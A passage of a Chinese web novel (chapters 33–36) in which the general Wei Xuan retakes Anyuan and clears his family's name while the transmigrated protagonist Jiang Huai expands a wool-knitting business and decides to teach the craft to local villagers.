“姜淮,你怎么会在这里?”卫轩有些震惊,这个震惊不比他刚才看到萧靖昭小,要知道姜淮作为姜家三房独子,怎么也不可能出现在安远府,更别说刚才听赵姐的话,姜淮是以商人的身份出现的,这就更不可思议了。
卫轩走近几步,姜淮这才看清了对方的脸,然后在记忆中翻找出对应的脸庞,小小地抽了口气,来人居然真的是卫轩。
“京都到底发生了什么事?”卫轩瞥了眼站在一旁的萧靖昭,意识到不能轻易暴露,追问姜淮。
姜淮深吸口气,将京都中卫家被人诬陷,以及太子,皇后,姜家的各种事情都说了出来,卫轩脸越听越黑,拳头攥紧,显然是在压抑怒气。
他就说,为什么父兄明明设计好了战略行动,他却一直等不到接应。
因为迟迟等不来人,哪怕卫轩觉得可能是中途出事了,可也没有办法直接掉头回去,只能以战养战地打,结果越打越顺,蛮族内也有些空虚,不想错失这样的战机,卫轩就在蛮族腹地狠狠地搅弄了一番,几乎是让蛮族元气大伤。
而等他从蛮族腹地往大周这边走来,俘虏的奴隶牛羊更是数不胜数,也因为要带着这些战利品回来,导致路上行进的就慢了些,但是这已经算是快了。
毕竟大部分的部落都被卫轩这一次给打趴了,哪怕看到军队带着战利品缓慢地路过,也不敢轻举妄动,要不然他们这回来的速度会更慢些。
如果真的是战略出错了也就罢了,可想到自己打蛮族时见到的那些本该是大周所有的兵器铠甲,卫轩的拳头就捏得更紧了些。
他在蛮族腹地时还在奇怪,少量的武器可能会被一般人卖掉,可那么大量的武器,必然是有人刻意卖过去的,他其实隐隐地有猜测对象,甚至想过回来后要怎么处理,可现在听姜淮一说,这脏水是全往卫家头上泼来了。
不过也正常,谁让卫家在这一战中死伤惨重,就算泼了脏水,也不会有人站出来质疑,而等时间再长一些,这脏水就在卫家头上擦不掉了。
而皇后,太子,姜家的变故,更是让卫轩敏锐地意识到,或许皇帝也是其中的一环。
所以萧靖昭会出现在这里,是……
“卫哥,这是魏西,之前是个皂卒,后来就一直留在安远府照顾我,对我特别好。”注意到卫轩的目光,姜淮只当是对方不放心萧靖昭的身份,介绍道。
“卫将军。”萧靖昭低声道。
听到姜淮说出来的身份,卫轩就知道萧靖昭是如何隐姓埋名来到安远府的,也知道萧靖昭为什么会装作不认识他的样子。
他一旦回安远府,定然是万众瞩目,哪怕萧靖昭在皇帝眼中是已经死了,可毕竟死得有些蹊跷,皇帝一定会多加关注他身边的人。萧靖昭若是显眼了,万一被人发现身份,那之前的一切都白费了,甚至会有生命危险。
而且,他们现在也没有做好直接对抗皇帝的准备。
当知晓一切,再看到萧靖昭出现在安远府,卫轩就已经猜测到萧靖昭之后可能要做什么。
第33章 第 33 章
卫轩瞥了眼萧靖昭, 知道现在是没有机会和他私下聊一聊,便对姜淮说:“你好好歇息吧,明日我便要回安远府, 你是跟我一起还是……”
只是不等姜淮说出选择,卫轩皱了皱眉,又否决:“明日, 你还是暂时别回安远府, 等我将安远府整顿完你再回去。”
卫轩不怀疑自己能不能洗刷掉卫家的屈辱,重新掌握安远府, 毕竟他获得的战功都不是假的, 除非皇帝是撕破脸皮要将卫家置之死地, 不然面对这样的军功, 他也只能表彰卫轩。
而皇帝若是撕破脸皮, 皇帝就算赢了,那也是惨胜, 说不定会便宜别人, 所以卫轩并不担心自己。
只是姜淮若是和他一起去,到时候被人注意到, 那就不太.安全了,更别说姜淮身边还带了一个萧靖昭, 不能太高调了。
姜淮本来就不准备跟着卫轩一起走,毕竟卫轩一回去,城内肯定是要乱上一阵,听他这么说反而松了口气, 这样他就不用再多嘴解释了。
卫轩转身准备离开, 只不过看到站在一旁沉默的萧靖昭,又忍不住多瞥了一眼, 而这一眼就被姜淮给注意到了。
姜淮没往别处想,只当是卫轩不太放心萧靖昭,握住萧靖昭的手安抚他,低声道:“卫哥他就是戒备心比较强,等熟悉了点,他就不会这么警惕了。”
“我知道。”萧靖昭目送卫轩离开,忽地注意到对方的手势,眼眸微暗。
“那我们赶紧吃了剩下的羊肉就去睡吧,今天赶路好累,困得也比平时早。”姜淮打了个哈欠,催促道。
萧靖昭看出姜淮有些困倦了,收敛心思,和姜淮一起将剩下的羊肉烤完吃完,稍微洗漱一番,等萧靖昭回来,就发现姜淮已经拥着被褥睡着了,旁边还留了一处位置,显然是留给他的。
萧靖昭顿了顿,重新掀开帘子,在北风吹入前迅速合上,悄无声息地走了出去,过了好一会才回来,在冷风中站了一段时间,身上的衣衫全都冰冷的,连身体都有些冷,萧靖昭略微烤了烤火,让身体烤热,这才躺下。
哪怕帐篷里有火炉散发热意,身上的被褥也很厚实,可姜淮身体不好,睡了这么一会,身上又逐渐冷了下去,迷迷糊糊间发现身边有个热源,滚了滚,蹭了过去,抱着暖水袋不肯撒手了。
萧靖昭被抱了个满怀,思绪被打断,低头看见姜淮,神情也略微和缓了些,终于沉沉睡去。
……
次日,卫轩就带着大军回了安远府,一路上浩浩荡荡,几乎所有人都看到了大军的动静。
一开始还有百姓以为是蛮族大举入侵,惶恐之际看到大军飘扬着的旗帜,一下子就安定了下来。
而这么一支大军的动向也是很难遮掩的,安远府内,苏定听到手下的汇报,得知是卫轩回来后,还是带着大军回来的,问清了大军的数量后,苏定眼前一黑,心中的畏惧油然而生。
“他,他到了哪里?”苏定追问手下,有些手足无措,“快去让人关城门,这,这卫轩定然是被蛮族给收买了,要带着大军来攻打安远府。”
苏定被卫轩的出现给吓得乱了手脚,毕竟他清楚,卫家的事是怎么发生的,那卫轩回来得知这个消息后会怎么对他,那就很明显了,对于自身安危的在意让苏定顾不得自己此时的命令有多荒谬,催促着手下快去传令。
可这么做还不足以让苏定安心,苏定扭头就找了马车准备跑路,他怕现在不跑,之后就找不到机会跑路了,卫轩的性格他也了解,年轻气盛,万一气急了眼,直接杀了他,哪怕皇帝之后可能会给他报仇,可他死了也就是死了啊。
他来安远府本来就是冲着军功来的,现在也算是达到了目的,只要他人不在安远府,除非卫轩要和大周朝廷作对,不然也没有办法奈何他的,既然如此,他不跑还等什么。
至于说跑的理由,苏定草草地写下要去禀告朝廷卫轩试图谋逆的话后,然后匆匆地带着家眷离开了。
安远府内的将士们都收到了苏定手下送来的命令,这道命令显然很是荒唐,可他们也不得不照办,毕竟苏定如今是暂代安远府的大将军,他的命令就是军令,不得违背。
安远府突然要关闭城门,戒备起来,顿时让城内乱了起来,尤其是守城的动作更是让不少人想到上次蛮族偷袭的事,想快点进城躲避的人有,想趁着城门还没有彻底关上逃走的人也有。
苏定跑路的速度够快,赶在城门关闭前就带着家眷和金银珠宝离开了安远府。
安远府不可能关上城门就完事,后续要如何处理,还需要苏定来决定,王进和一众将士还等着他接下来的命令,然后等了好一会,苏定也没有第二道命令下来,一众将士都有些茫然了。
“大将军可还有其他命令?”王进询问。
传令的人摇了摇头。
王进皱眉,有些坐不住了,起身去大营,此时苏定应该在此发号施令才对,可现在对方没有命令下来,他们也不能轻举妄动,总要知晓对方是什么态度才好。
若是可以的话,王进还想给卫轩解释一番,卫家人怎么可能会带着蛮族来攻打安远府呢,其中肯定是有什么误会,说不定就是卫轩在之前攻打蛮族的时候迷路了,导致回来得晚了点,只要说清楚,就可以解开误会了。
王进下意识忽略这迷路的时间有些长,以及苏定和卫家间的矛盾。
只是当王进进入大营,看到大营内的仆从,眉头不自觉地皱了皱,按理来说,军中大营是不该有仆从的,可苏定偏好享受,他是暂代的大将军,想怎么做,其他人也拦不住,就让这些仆从进入大营了。
可现在看着这些仆从慌乱的模样,王进有些奇怪,问道:“慌什么,发生什么事了?”
“王将军,大将军,大将军走了。”有个仆从看到王进后,颤抖着开口。
走了?
王进险些没有反应过来,匆匆进了大营后,看到空荡荡的大帐才意识到这个走了是什么意思。
苏定不见了。
王进掉头就去了苏家家眷所在的位置,因着苏定也舍不得女色,苏家的一些女眷也都在大营旁边的营帐内,王进掀开帘子一看,女眷也都不见了,甚至营帐内还散落着一些金银首饰,显然是收拾的时候不慎遗落下来的。
掉在地上的首饰都来不及捡,可见对方是走得有多仓促了。
回到大营,王进忽然发现桌案上有一张纸,拿起来一看才发现这是苏定写的告辞信,看完信上的内容,陷入深深地沉默。
王进迟迟未归,其他将领也有些奇怪,几个人找过来,就看到王进发愣的样子,正想调笑两句,就从王进口中得到苏定带着家眷跑了的消息,一个个的都彻底傻眼了。
苏定之前伪装得还不错,虽然略显草包,没有什么军事才能,可因为他带兵也算听话,还知人善任。除了卫家出事后,苏定的突然上位让其他将领感觉出一些问题来,大部分将领都还觉得苏定不错,对苏定掌控安远府也算信服。
可现在,卫轩一带着大军回来,苏定一边指挥其他人挡住,一边掉头跑路的行径,让他们只感觉自己之前是被猪油蒙了心了,怎么就看不穿苏定的真面目呢。
“苏定都跑了,那我们还要挡着卫将军吗?”有人问了出来。
说实话,到这一步,问话的人是不想挡了,他本来就不想和卫轩起冲突,更何况安远府本身兵力就不足,要是起冲突,打不打的过不说,死伤肯定是惨重的。
要是苏定还在,可能他们还要再纠结一番,毕竟拒不执行军令是大罪,可现在苏定自己都跑了,那他们还挡个什么。
……
姜淮跟着大军一起回来的,不过他倒是没有跟着去安远府,而是准备载着羊毛去城外的住宅,毕竟就算打仗,羊毛的处理也不能耽误了。
最主要是姜淮还稍微记得一点剧情,所以对卫轩的情况不担心,也不觉得会影响到自己这边。
看到姜淮如今真就靠着羊毛做生意,卫轩眉头一直皱着,他对姜淮的印象不算深刻,可也知晓一个世家子弟突然从商,这是多巨大的转变。
距离安远府还有一段距离,卫轩抽空和姜淮道:“之前你无依无靠,也只能靠经商赚些银子,等安远府稳定下来,就不用再经商了,不然姜太傅都要责怪我没有好好照顾你了。”
至于姜淮什么的流放身份,卫轩也不在意,等他回到安远府,安远府就在他的管辖范围,姜淮就可以恢复以往的生活了,至于朝廷会是什么态度,卫轩也不在意。
只要朝廷在开始的时候忍了,那之后也不至于为了姜淮的事翻脸,说到底,姜淮在这盘棋当中还只是一个无足轻重的棋子。
唯独萧靖昭,卫轩没有办法名正言顺地照顾对方。
不用经商?
如果这是在他刚到安远府,姜淮可能会接受,但是现在的话,姜淮觉得自己还挺喜欢这种赚钱的感觉,而且靠人不如靠己,如果是要过着伸手要钱的生活,还不如自己赚钱呢,起码花起来不心虚。
只不过姜淮也清楚,卫轩不是别人,对方对自己是有些熟悉的,如果他不找一个合适的理由,而是直接说自己喜欢经商,很容易被对方看出一些不对劲来。
第34章 第 34 章
眼看卫轩要离开, 姜淮忽然想起来一桩事,他曾经在军中看过的账本。
之前没想到卫轩,他就忘了, 现在想想,卫家通敌叛国的罪名当中就有将兵器甲胄贩卖给蛮族的,这算是一个铁证了, 可如果是他看到的那些账册, 显然在卫家出事之后,依旧有人在偷偷地贩卖武器, 这件事必须和卫轩说一番。
不管能不能抓到那个人, 说不定可以借此洗刷卫家的一部分冤屈。
听姜淮说完, 卫轩其实已经有了怀疑的人选, 毕竟就他现在了解情况, 在卫家出事之后,苏家获得了最大的利益, 而且要说起来, 掌管军需后勤的一些官员也是苏家的人手。
因着苏家是皇帝安排过来的人,苏家要控制一部分军需, 卫家最后还是选择了退让,毕竟卫家已经掌握了大部分的军权, 若是后勤也要手掌握,多少会让皇帝起芥蒂之心,不如后退一步。
只是退一步,便是步步后退, 他以后不会再退任何一步了。
想到卫家如今的惨状, 卫轩脸色渐冷,转头离开。
对于安远府的情况, 卫轩自觉已经做好了充分的准备,如果非要打一次,哪怕他不情愿,那也是要打一次的,只有先进了安远府,他才能谋划未来的事,所以不管结果如何,他都不会有任何的惊讶。
然而等卫轩来到安远府前才知道什么叫出乎意料。
安远府显然是乱了一阵子,从守城将士的脸上就能看出,但城门大开,一群他熟悉的将领官吏都站在城门外,一副恭迎他入城的样子。
卫轩下意识阴谋论起来,该不会是想诱骗他入城,然后借机诛杀他吧,这样也免了双方将士兵刃相向。
只是等卫轩在戒备中将整个安远府都掌控住了,连巡逻的兵士都换上了自己的人,其他人依旧没有什么反应,反而一副很是放松模样,看起来居然都不太信任自己的兵士,这让卫轩有些摸不着头脑了。
卫轩怀疑自己这不是出去了几个月,而是出去了几年,不然怎么连其他人在想什么都想不通。
直到卫轩了解到苏定的命令和动向后,才算确定这里面真的没有阴谋,安远府的将领官吏都是觉得苏定不靠谱,还不如就让他进城来,至于卫家的案子,那就得让他自己来处理来。
……
姜淮一直在关注卫轩这边的情况,知道卫轩将安远府掌握住了,也知道卫轩安顿好了安远府后,带着大军前往京都,说是要去献俘,洗刷卫家的耻辱。
安远府的消息本来不会太灵通,可因着卫轩抢夺的牛羊马数量太多,安远府附近根本消化不了,各地商户闻讯赶来采购,自然也将各地的消息带来了。
“本来还有人怀疑卫家,可大将军带着那些蛮族的战俘一路走过去,谁都不吭声了。”
“那皇帝是不是也不吭声了?”
“谁知道呢,听说皇帝还不敢让大军到京都附近,离得老远就在石溪关将卫将军给拦住了,肯定是觉得冤枉了卫家,心虚了。”
走在路上,听到附近的路人这么说着,姜淮停下听了一段,感受到了一点不一样。
放在之前,安远府的人对皇帝还是有敬畏之心的,而现在随着消息不断传来,这种敬畏心也渐渐消失了,取而代之的则是对于皇帝的一些怨怼。
加上天高皇帝远这句话也不是空话,安远府的百姓自然也就不那么在意皇帝了。
不过显然,这样的情况对于卫家是有利的。
而京都,百姓的消息是更加的灵通,自然也都知晓了卫轩这边的消息。
京都百姓对于卫家的感情没有安远府那边深,但是卫家几代积攒下来的威名也让百姓对于卫家通敌叛国的事半信半疑,只是朝廷查到的证据确凿,百姓明面上也不会多说什么。
可现在,卫轩带着俘虏的蛮族贵族赶往京都,一路上大张旗鼓地宣扬他进入蛮族腹地的事,又有各种证据佐证他的话,百姓们也就也半信半疑的。
而京都的官员则是一个个的都沉默,因为他们的消息是更加灵通,对于卫轩在西北草原到底做了什么,了解得很是透彻。
哪怕他们想要怀疑卫轩是在撒谎,可那缴获的战利品,俘虏的蛮族贵族官员,以及几千骑兵去上万骑兵回的事,让他们很难说这是在骗人。
那不是骗人的话,岂不是卫轩当真在蛮族的地界搅了个天翻地覆,那再看卫家通敌叛国的罪证,这时候就有些站不住脚了。
而且按照卫轩给出的证据,通敌叛国的事似乎是苏家做的,而当时揭发卫家的人正好就是苏家的,这到底是个什么情况,就有些显眼了。
说到底,卫家几代人的清誉在这一刻还是起了作用,如果卫轩不出现,卫家只有一个人躺在病榻上,并且眼看着不太可能翻身,哪怕有人站在卫家,也没有办法为卫家清洗掉罪名。
可如今卫轩回来了,并且是带着大功劳以及军队回来的,一些两边摇摆的人就会有些偏向卫家了,哪怕这些偏向很轻微,可落到皇帝眼中依旧很危险了。
大安宫内,万籁俱寂,宫女太监做事都小心翼翼,不敢发出丝毫的动静,生怕被皇帝注意到,然后惹得皇帝心烦,被脱下来打一顿板子。
在宫中,被打一顿板子大概率的结果就是死亡,哪怕没有死,后面的下场也好不到哪里去。
皇帝沉着一张脸看着送上来的奏折,卫轩如今离京还有百里地,可其他人却都已经上书要重新审查卫家叛乱一案,甚至暗示说苏家的问题,让他要秉公处置,让皇帝仿佛又回到了前些年。
明明他已经是皇帝了,可却还像是当皇子时,想要提拔一些官员,要被劝谏,想要营建宫室,也要被劝谏,下达一些政令还要被官员阻拦,这些年好不容易将权力收拢,而后除掉了他的眼中钉,可如今却像是一切都回来了。
“卫家……”皇帝声音轻得不能再轻了,可殿内太过安静,以至于一旁服侍的宫女太监都听了个清清楚楚,身子微微颤抖,皇帝这话暴露的信息太多了,不该他们听到了,可现在听到了,结果会如何,可想而知。
皇帝深吸一口气,扫了眼殿内的宫女太监,让侍卫进来收拾人,只留下一个贴身大太监没有离开。
次日,皇帝主动提出要重新调查卫家通敌叛国一案,并且很快地就查出原来的事有猫腻,而罪魁祸首就是苏家,立刻将苏家人给下狱了,并且发圣旨给卫轩,为之前的行为解释,同样也是为卫轩表功,封卫轩为镇西侯,这个爵位虽然比不上镇国公的爵位,可也差不到哪里去。
可以说,大周承平已久,勋贵想要封侯极难,更别说卫轩这侯爵是可以一直传下去,含金量极高。
如果没有卫家之前的事在,皇帝要这样敕封侯爵,必然会有其他官员反对,可现在,几乎人人都知道这算是对卫家的一些补偿了,而且卫轩的军功确实卓著,就没有人再反对。
收到皇帝的圣旨,除了苏家还没有彻底地被报复,其他的目地都差不多达到了,卫轩却反而不是那么高兴。
如果早知道皇帝的本性如此,卫家何至于到这一步呢。
卫轩没有再亲自去京都,而是向皇帝讨要了执掌安远府的圣旨,随后就将献俘的事交给了副将,然后转头准备返回安远府。
皇帝本来还在京都等着卫轩回来呢,收到消息,卫轩领旨后就离开了,更是有些愠怒。
在皇帝看来,卫轩这么做就是信不过自己,担心回到京都后,他会动手。
看着皇帝脸色不好,众多臣子都低着头,装作没有看到的样子,不过心中却不觉得卫轩这么做有什么问题。
卫家之前一点防备也没有,忠心耿耿的,结果如何,他们也都看到了,虽然不知道皇帝有没有在其中掺一手,可起码在卫家落败后,苏家一揭发,皇帝草草查了查,就把罪名栽到了卫家头上,迫不及待地接手卫家的军权。
这事要是落到他们头上,他们还能再信任皇帝,那就是脑子进水了。
京都的消息一波波地传过来,只是天气渐冷,消息传递的也就慢了起来,等姜淮听到皇帝对苏家的处置结果时,卫轩也差不多回来了。
这次去京都,卫轩原本是想将兄长卫彦给带回来的,只是打探了一番消息,知晓卫彦伤重至今还没有恢复,甚至之前还伤情过于严重,哪怕是卫家被污蔑的那些天,皇帝为了做做表面文章,都没有将卫彦下狱。
这要是将卫彦带走,对方指不定路上就要出事,更何况要是养伤的话,京都的气候还好,比较适合养伤,要是去了安远府,怕伤情又加重。
卫轩回来稍微处理了下安远府的事,就想到了姜淮,问到姜淮还在城外住着,以为姜淮是还记着他先前说的话,不敢回安远府住,就准备去看看姜淮,顺便也和萧靖昭见一面,说一说京都的情况。
第35章 第 35 章
若是以往, 卫轩出门几乎不会带什么护卫出门,毕竟安远府对他来说非常的安全,可现如今, 卫家只剩他一个撑着,若是他出事了,那之前的一切都白费了, 卫轩也不敢冒险, 谁知道皇帝会不会对他动手。
不过安远府毕竟是自己的地盘,加上姜淮住的地方离安远府也不算很远, 卫轩带上一支护卫队也就够了。
看着一路上的荒凉, 卫轩沉默了下来, 以往安远府虽然地处偏远, 但因为和草原邻近, 商业发展得也还算不错,可如今一场战事下来, 凄凉了不少, 希望明年能好些。
一说到商业,卫轩就想到安远府近段时间的税银, 哪怕是因为战事,也不该如此低的。
卫轩觉得肯定是苏定做了些什么, 不然不至于如此,只是他之前回安远府,根本没有来得及多看什么,就带军去了京都, 而现在回来也没有看, 待会得看看了,不然靠现在的税银, 之后怕是没有办法支撑起军队开支。
虽然照理说,朝廷是要发军饷的,可以往军饷发起来就拖拖拉拉的,送来的甲胄军械不是缺斤短两,就是质量不佳,有些拖着拖着还直接给拖没了,要不是先帝之前定下安远府的税银可以用来充当军饷,估计都要撑不住。
可现在,卫轩觉得那拖着给的军饷可能都不会有了,到时候只能靠安远府自己撑着,想要靠安远府供养大军,这难度可想而知。
而且若是按照他和萧靖昭提起过的事推测,这支军队的数量要么还要增多,要么就是要更加精锐,需要的钱财也不会是个小数字。
越想越头痛,卫轩眉头皱了起来,可以说,自从回到了安远府,卫轩的眉头就很少有彻底放松的时候。
只是想着这次是去见姜淮和萧靖昭,卫轩揉了揉眉头,揉松了一些,不想让两人看出他的焦躁来。
走神又回神间,卫轩忽然发现这路上的人是不是有些多,其实和别处相比并不算多了,但是在安远府的话就显得有些扎眼。
前方岔道上,有个壮汉背着一个大筐,里面装了些灰白色的东西,卫轩一眼就认出了是羊毛。
要说羊毛,卫轩下意识想到了姜淮,因为他记得姜淮之前去那个部落似乎也是收羊毛去了。
最近这羊毛比较好卖吗?
卫轩没有多想,朝着姜淮所在的位置疾驰,而这一路上,他连着看到了好些背着羊毛走在路上的人,而回程的人筐子袋子里都空了,个个脸上笑容满面,像是将羊毛卖了个好价钱。
这让卫轩起了些好奇心,就他看到的人里,卖羊毛的都很多,而安远府靠近草原,养羊算是一个不小的产业了,以往都是卖羊肉羊皮,羊毛很少看到有人这么大量地收购,若是能有人做收购羊毛的生意,不论这个人是想用羊毛做什么,安远府也是能从中获利的。
尽管知道姜淮收购过羊毛,这一路上的人也都是去往姜淮那边的路线,但是卫轩一直没有将这件事和姜淮联系上,直到走到羊毛工坊边上,才发现情况有点不对劲。
之前尽管只是草草地看了一眼,卫轩也知道姜淮这边比较荒凉,可现在,时不时地有人背着羊毛进去,然后笑着出来,而路边甚至有车队停在附近。
这一切都和他之前看过的完全不一样。
姜淮知道卫轩来到的消息,赶紧趁着这个机会中断谈话,表示自己还有客人要接待,只能下次再谈,对方很是不甘心地走了。
“卫哥,你过来了。”姜淮满脸笑意地迎了上来。
“你这里是……”卫轩进来后发现这里似乎也变大了,后面多了一些房屋,而靠近河流的地方似乎也有些房屋,里面能听到有人干活的声音。
“最近的生意做大了一点。”姜淮解释道。
其实一开始是没有这么大的,姜淮也不敢做得太大,因为在古代,如果没有靠山的话,那生意做大又不找靠山,就等于是养肥的猪,随时可能被人割一刀。
尤其是他现在的身份,不做大还行,一做大就有麻烦上身。
可是卫轩的出现反而让姜淮的顾虑变少了,尤其是知道安远府之后会脱离朝廷的控制,几乎就是卫家的地盘了,那他似乎也不用那么缩着了。
最开始姜淮想的是多收点羊毛,然后做成毛线,织毛衣,再卖出去,因为有外地的商户过来,发现毛衣之后,一个个的都收购得非常踊跃,甚至从方掌柜那边找到了他。
有卫轩做靠山,姜淮也不怕这些外来的商户会不会坑自己,更何况这些商户一来,看到卫轩留在这边的护卫,个个都老实起来,只是竞相抢购毛衣,出个价格甚至超过了二十两,而原因也很简单,物以稀为贵,头一次出现的货物,总有些家资丰厚的人愿意买。
而且现在天气还冷着,要是再等上几个月,气候转暖了,毛衣就算还能卖出去,价格也要掉一点,所以为了早点拿到货物,他们都愿意多出些钱。
这些外来的商户能吃掉的毛衣份额可就高了,毕竟是能卖到大半个大周的地盘,安远府哪怕气候更冷,但是对毛衣的需求还是没有这些人高,以至于哪怕姜淮现在又赶紧加了些人手,都有些供不应求。
姜淮已经在思考毛衣生意要不要拆分,最开始,姜淮是想做独门生意的,收羊毛,制作毛线,织毛衣,全都是他自己来做,可现在,羊毛和毛线都还好,虽然活也比较繁杂,但是萧靖昭又稍微改进了一番,让效率又提高了一些。
可是毛线的生产效率提高,能织毛衣的人还是不多,甚至可以说织毛衣的效率低得吓人,哪怕一个人从早织到晚,一个熟手也不见得可以织完一件毛衣。
当然,如果他想要垄断这个生意当然也是可以的,只是姜淮看着来做工的妇女,看着送来羊毛的普通百姓的模样,有些犹豫起来。
他一开始想着做毛衣赚钱那是因为确实缺钱,如果是做小生意的话,那毛衣编织技术就是要保密的,可现在,毛衣编织技术继续保密,毛衣需要稀少,但是想维持现在的高价也比较难。
“怎么,有什么为难的事吗?”注意到姜淮脸上露出纠结的神情,卫轩误会了,以为姜淮做生意遇到了什么麻烦,只是不好意思和他开口,追问起来。
姜淮摇了摇头,将心里的事压了下去,他还没有完全想好,干脆问起卫轩这趟入京情况如何。
卫轩瞥了眼不知何时过来的萧靖昭,简单地说了一下这一路上的事。
“陛下还挺能屈能伸的。”边上没有其他人,姜淮忍不住吐槽,怪不得这个皇帝能在原文中伪装那么久,说实话,要不是知道原文剧情,他只是个普通人,可能还真信了皇帝的邪了。
姜淮怀疑,现在朝中还有不少人信了皇帝的邪,就算觉得其中可能有阴谋,但也绝对是奸臣的问题,皇帝不过是受了小人和妖妃的迷惑,被人一点明情况,立刻就清醒过来。
只可惜……
想想原文中说过的话,姜淮摇摇头,这些人都要失望了。
可以说,卫家和太子的存在算是给皇帝加了一道枷锁,让他不敢也不能那么肆无忌惮地过昏君生活,而现在,这副枷锁被他给废了一半,尤其是卫家知道皇帝是什么德行后也不管了,皇帝肆无忌惮,想做什么做什么,朝中大臣要受罪了。
只是,百姓也要受罪了。
听到姜淮对皇帝的吐槽,卫轩低咳了一声:“这话我们之间说说便罢了,就别去外面说。”
姜淮点点头,他这不是觉得和卫轩关系比较亲近,而且身边也没有生人才这么吐槽的,真要去了外面,他可一句都不会说。
不过姜淮觉得,卫轩这么说也没有反驳他,应当是觉得他说得挺对的。
卫轩又接着说了些朝中的事,其实主要是说给萧靖昭听,毕竟待会儿他又要和萧靖昭聊一番,如果将这些事都放到两人私下会面说,那就太琐碎了,也太费时间,趁着和姜淮闲聊说一说,萧靖昭也刚好听到了。
不过姜淮只以为卫轩是觉得他对这些感兴趣,虽然并不是很感兴趣,可看卫轩说得那么认真,加上想到卫轩可能都没有办法和其他人说这些,毕竟他哪怕不太懂,也知道这些可能不太适合让不怎么亲近的人听,还是耐着性子听了下去。
只是这些朝廷上的事,以及世家大族之间的事对姜淮来说还算是遥远,只是将卫轩的话当成故事听,还是有些隐晦的,没太听懂的故事,这一听就让姜淮忽然走神想到了太子,要说起来,废太子应该就是这段时间和卫轩联系上的吧,不然这失踪的时间也太长了。
姜淮有些好奇,很想问一句,只是想了想,姜淮还是克制住了,哪怕他和卫轩看着关系不错,但其实两人也只是卫家和姜家的关系不错,加上卫家出事,卫轩身边没有什么亲近人。
闲聊一下还好,但是问太子的事,姜淮觉得还是不要多嘴。
第36章 第 36 章
在编织毛衣的事上, 姜淮思考了几天,最后决定将编织毛衣的技术传出去。
因为纺线的器械被萧靖昭改进之后,效率和速度都提升了一些, 毛线多了,但是毛衣的产出还是少的,除非他将整套技术全控制在手里, 或者说织毛衣也能改进, 不然还是推广技术卖毛线会好点。
当然,这里面还掺杂了一点姜淮富则兼济天下的想法, 虽然他现在还没有多富有, 可市场有这么大, 他自己一个人吃不下, 非要贪着占着不让其他人也吃一块的话, 姜淮良心有点过意不去。
萧靖昭一直注意着姜淮的动静,自然也发现了姜淮这几天的纠结, 一直等着姜淮开口, 却没想到,姜淮一开口就让他震惊了。
毛衣的生意如何, 萧靖昭是很清楚的,他也了解过, 哪怕安远府的其他成衣行,还有一些商户都在研究毛衣是怎么制作出来的,可到现在,依旧没有人能研究个透彻。
萧靖昭估摸着要是再给些时间, 或许能做出和毛衣类似的仿品, 但是质量和成本可能都不如姜淮这边的,不卖高价回不了本, 而且有姜淮的正品毛衣在,谁会出高价买劣质品呢。
至于说低价,那更是回不了本,谁愿意做这样的亏本生意。
可姜淮现在居然要将毛衣的编织手法给教出去,哪怕毛线的制作方法不教,可这得少赚多少银子。
萧靖昭可清楚姜淮对银子的在意,最开始卖毛衣赚钱的时候,姜淮可是每天都要好好地记账算账,看着新增的银子笑开了花。
“是有谁逼你了吗?”萧靖昭下意识就想到是不是在他没有注意的时候,有人逼着姜淮教出毛衣的制法,姜淮不得已才想出这个方法回击。
毕竟对方要是想要谋取毛衣制法,那必然是为了将毛衣卖高价赚钱,而一旦毛衣制法很多人都会,毛衣的价格必然会下降,哪怕这些人编织的毛衣可能没有对方做得精美,但是有低价品,其他的毛衣想要卖高价就没有那么容易了。
是谁?
萧靖昭眉头紧锁,他这几天倒是没有怎么跟着姜淮,可如果有人威胁姜淮的话,他放在姜淮身边的那几个人是吃干饭吗?这都没有发现。
或者,是卫轩。
不是萧靖昭多想,而是毛衣的制法给出去的话,除了姜淮要遭受一些损失外,外来的商户可以多贩些毛衣去外地卖,而那些来学毛衣织法的百姓也能受益,可以说也是安远府受益。
如今安远府算是遭了一桩大难,卫轩说不得就想……
想到这里,萧靖昭脸上更冷了一些,问了出来。
姜淮没想到自己只是想了下要怎么回答,萧靖昭的阴谋论就已经怀疑到卫轩头上了,以前怎么没有发现对方的疑心这么重呢。
“不是不是,绝对不是。”姜淮赶紧开口,他怀疑自己再不开口,萧靖昭的阴谋论要扩充得更加厉害了,“我就是……”
“古书不是有句话,穷则独善其身,达则兼济天下,虽然现在没有很达,但是也想做点什么。”姜淮说出来后就有些后悔,他这么说感觉有点过于自我标榜了,而且真的有点装啊。
姜淮脸皮发红,赶紧给自己补充:“而且感觉织毛衣的速度也不快,想要推广毛衣的话,靠雇人织毛衣速度太慢了,还不如直接卖毛线。”
萧靖昭没想到姜淮竟然是这个想法,盯着姜淮看了好一会,确定对方说的都是真心话,沉默了下来。
“你是不是不想啊?”姜淮等了半天也没有等来萧靖昭的回答,试探着开口,毕竟要说起来,纺线的机器都是萧靖昭改进的,按照他之前的说法,卖毛衣赚了多少钱,就会给萧靖昭多少分成的。
而现在这么一改的话,除非之后毛线的售卖也很红火,不然赚的钱肯定没有卖毛衣高。
姜淮有点纠结,如果萧靖昭不同意的话,那他也不好直接一个人拍板决定。
“这样你会少赚一些银子。”萧靖昭没有回答,反问道,“你不会后悔吗?”
“你一说,我有点后悔,但是感觉不做的话,心里过意不去。”姜淮捂住心口,把钱往外洒肯定是有点不舒服的,但是,姜淮觉得自己穿越一趟,虽然流放路上吃了不少苦头,但现在也算是苦尽甘来,可以说日子比普通百姓过得好了不知道多少。
如果他穿过来的时候就是世家子弟,还在京都享受荣华富贵,没有和普通百姓接触过,姜淮觉得自己不会动这个想法,甚至可以织毛衣都只是单纯的喜好,但是现在有个办法可以略微地让百姓好过一点,或者说只要有人愿意攒一攒羊毛,外地的百姓不清楚,安远府的人肯定是能给自己攒件毛衣的。
“既然你都这么想了,那我没什么不同意的。”萧靖昭道。
既然要让百姓能学习到织毛衣的技术,姜淮考虑了下,放弃了一点代价都不付出就可以学的方法,一来要是这么做的话,恐怕不知道会有多少人上门求学,他这边根本没有这么多的人手来教他们学习。
二来,轻易得到的东西总是不那么让人珍惜。
三就是姜淮也不是那么的心善,毕竟教人也是要成本的。
所以最后定了下学习毛衣织法的规矩,学的人要先来他这边干两个月的活,然后再学习织毛衣,不过考虑到天冷的时候毛衣最能卖上价格,而商户恐怕等不了两个月,姜淮又将规则稍微修改了下。
改成可以一个人先签订契书干活,另一个人负责去学习织毛衣,这样很快就能教出熟练工来了。
……
往年冬日,村里村外都是冷冷清清的,除非必要,几乎没有什么人会从屋里出来,个个都窝在家中过冬。
只是今年就格外不一样了。
